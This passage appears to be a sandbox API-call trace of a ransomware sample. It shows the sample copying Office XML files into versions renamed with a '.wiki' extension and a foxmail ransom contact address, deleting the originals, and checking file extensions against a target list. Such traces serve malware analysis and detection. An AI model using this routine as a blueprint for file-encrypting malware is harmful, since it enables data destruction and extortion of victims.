Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0049.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.168] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.168] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.187] GetLastError () returned 0x0 [0049.187] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0049.191] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0049.192] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.192] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.192] SetEndOfFile (hFile=0x1f8) returned 1 [0049.192] CloseHandle (hObject=0x1f8) returned 1 [0049.193] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.193] SetEndOfFile (hFile=0x1e4) returned 1 [0049.194] CloseHandle (hObject=0x1e4) returned 1 [0049.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0049.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.194] lstrlenW (lpString=".doc") returned 4 [0049.194] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.194] lstrlenW (lpString=".docx") returned 5 [0049.194] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.194] lstrlenW (lpString=".pdf") returned 4 [0049.194] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.194] lstrlenW (lpString=".xls") returned 4 [0049.195] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".xlsx") returned 5 [0049.195] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.195] lstrlenW (lpString=".ppt") returned 4 [0049.195] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString=".zip") returned 4 [0049.195] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.195] lstrlenW (lpString=".rar") returned 4 [0049.195] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".bz2") returned 4 [0049.195] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".7z") returned 3 [0049.195] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString=".dbf") returned 4 [0049.195] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString=".1cd") returned 4 [0049.195] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString=".jpg") returned 4 [0049.195] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.195] lstrlenW (lpString=".doc") returned 4 [0049.195] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".docx") returned 5 [0049.195] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.195] lstrlenW (lpString=".pdf") returned 4 [0049.195] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".xls") returned 4 [0049.195] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.195] lstrlenW (lpString=".xlsx") returned 5 [0049.196] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.196] lstrlenW (lpString=".ppt") returned 4 [0049.196] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.196] lstrlenW (lpString=".zip") returned 4 [0049.196] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.196] lstrlenW (lpString=".rar") returned 4 [0049.196] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.196] lstrlenW (lpString=".bz2") returned 4 [0049.196] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.196] lstrlenW (lpString=".7z") returned 3 [0049.196] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.196] lstrlenW (lpString=".dbf") returned 4 [0049.196] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.196] lstrlenW (lpString=".1cd") returned 4 [0049.196] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0049.196] lstrlenW (lpString=".jpg") returned 4 [0049.196] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.196] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.196] lstrlenW (lpString="SETUP.XML") returned 9 [0049.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.708] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1608) returned 1 [0049.708] CloseHandle (hObject=0x20c) returned 1 [0049.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0049.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.843] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.843] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.843] GetLastError () returned 0x0 [0049.843] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x648, lpOverlapped=0x0) returned 1 [0049.974] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x650, lpOverlapped=0x0) returned 1 [0049.975] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.975] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.975] SetEndOfFile (hFile=0x210) returned 1 [0049.975] CloseHandle (hObject=0x210) returned 1 [0049.976] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.976] SetEndOfFile (hFile=0x20c) returned 1 [0049.977] CloseHandle (hObject=0x20c) returned 1 [0049.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0049.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.977] lstrlenW (lpString=".doc") returned 4 [0049.977] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.977] lstrlenW (lpString=".docx") returned 5 [0049.978] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.978] lstrlenW (lpString=".pdf") returned 4 [0049.978] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString=".xls") returned 4 [0049.978] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString=".xlsx") returned 5 [0049.978] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.978] lstrlenW (lpString=".ppt") returned 4 [0049.978] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString=".zip") returned 4 [0049.978] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.978] lstrlenW (lpString=".rar") returned 4 [0049.978] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString=".bz2") returned 4 [0049.978] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString=".7z") returned 3 [0049.978] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString=".dbf") returned 4 [0049.978] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString=".1cd") returned 4 [0049.978] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString=".jpg") returned 4 [0049.978] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.978] lstrlenW (lpString=".doc") returned 4 [0049.978] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.978] lstrlenW (lpString=".docx") returned 5 [0049.978] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.978] lstrlenW (lpString=".pdf") returned 4 [0049.979] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString=".xls") returned 4 [0049.979] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString=".xlsx") returned 5 [0049.979] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.979] lstrlenW (lpString=".ppt") returned 4 [0049.979] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.979] lstrlenW (lpString=".zip") returned 4 [0049.979] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.979] lstrlenW (lpString=".rar") returned 4 [0049.979] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString=".bz2") returned 4 [0049.979] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString=".7z") returned 3 [0049.979] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.979] lstrlenW (lpString=".dbf") returned 4 [0049.979] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.979] lstrlenW (lpString=".1cd") returned 4 [0049.979] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0049.979] lstrlenW (lpString=".jpg") returned 4 [0049.979] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.979] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.979] lstrlenW (lpString="TIME.XML") returned 8 [0049.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.980] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=8564) returned 1 [0049.980] CloseHandle (hObject=0x20c) returned 1 [0049.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0049.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.980] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.980] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.983] GetLastError () returned 0x0 [0049.983] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x2174, lpOverlapped=0x0) returned 1 [0049.992] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0049.993] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.993] WriteFile (in: hFile=0x210, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0049.993] SetEndOfFile (hFile=0x210) returned 1 [0049.994] CloseHandle (hObject=0x210) returned 1 [0049.994] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.995] SetEndOfFile (hFile=0x20c) returned 1 [0049.995] CloseHandle (hObject=0x20c) returned 1 [0049.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.996] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0049.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.996] lstrlenW (lpString=".doc") returned 4 [0049.996] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString=".docx") returned 5 [0049.996] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0049.996] lstrlenW (lpString=".pdf") returned 4 [0049.996] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString=".xls") returned 4 [0049.996] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString=".xlsx") returned 5 [0049.996] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0049.996] lstrlenW (lpString=".ppt") returned 4 [0049.996] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.996] lstrlenW (lpString=".zip") returned 4 [0049.996] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.996] lstrlenW (lpString=".rar") returned 4 [0049.996] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString=".bz2") returned 4 [0049.996] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.996] lstrlenW (lpString=".7z") returned 3 [0049.996] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.996] lstrlenW (lpString=".dbf") returned 4 [0049.996] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".1cd") returned 4 [0049.997] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".jpg") returned 4 [0049.997] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".doc") returned 4 [0049.997] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString=".docx") returned 5 [0049.997] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0049.997] lstrlenW (lpString=".pdf") returned 4 [0049.997] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString=".xls") returned 4 [0049.997] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString=".xlsx") returned 5 [0049.997] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0049.997] lstrlenW (lpString=".ppt") returned 4 [0049.997] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".zip") returned 4 [0049.997] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.997] lstrlenW (lpString=".rar") returned 4 [0049.997] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString=".bz2") returned 4 [0049.997] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString=".7z") returned 3 [0049.997] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".dbf") returned 4 [0049.997] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.997] lstrlenW (lpString=".1cd") returned 4 [0049.997] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0049.998] lstrlenW (lpString=".jpg") returned 4 [0049.998] lstrcmpiW (lpString1=".jpg", lpString2=".XML") 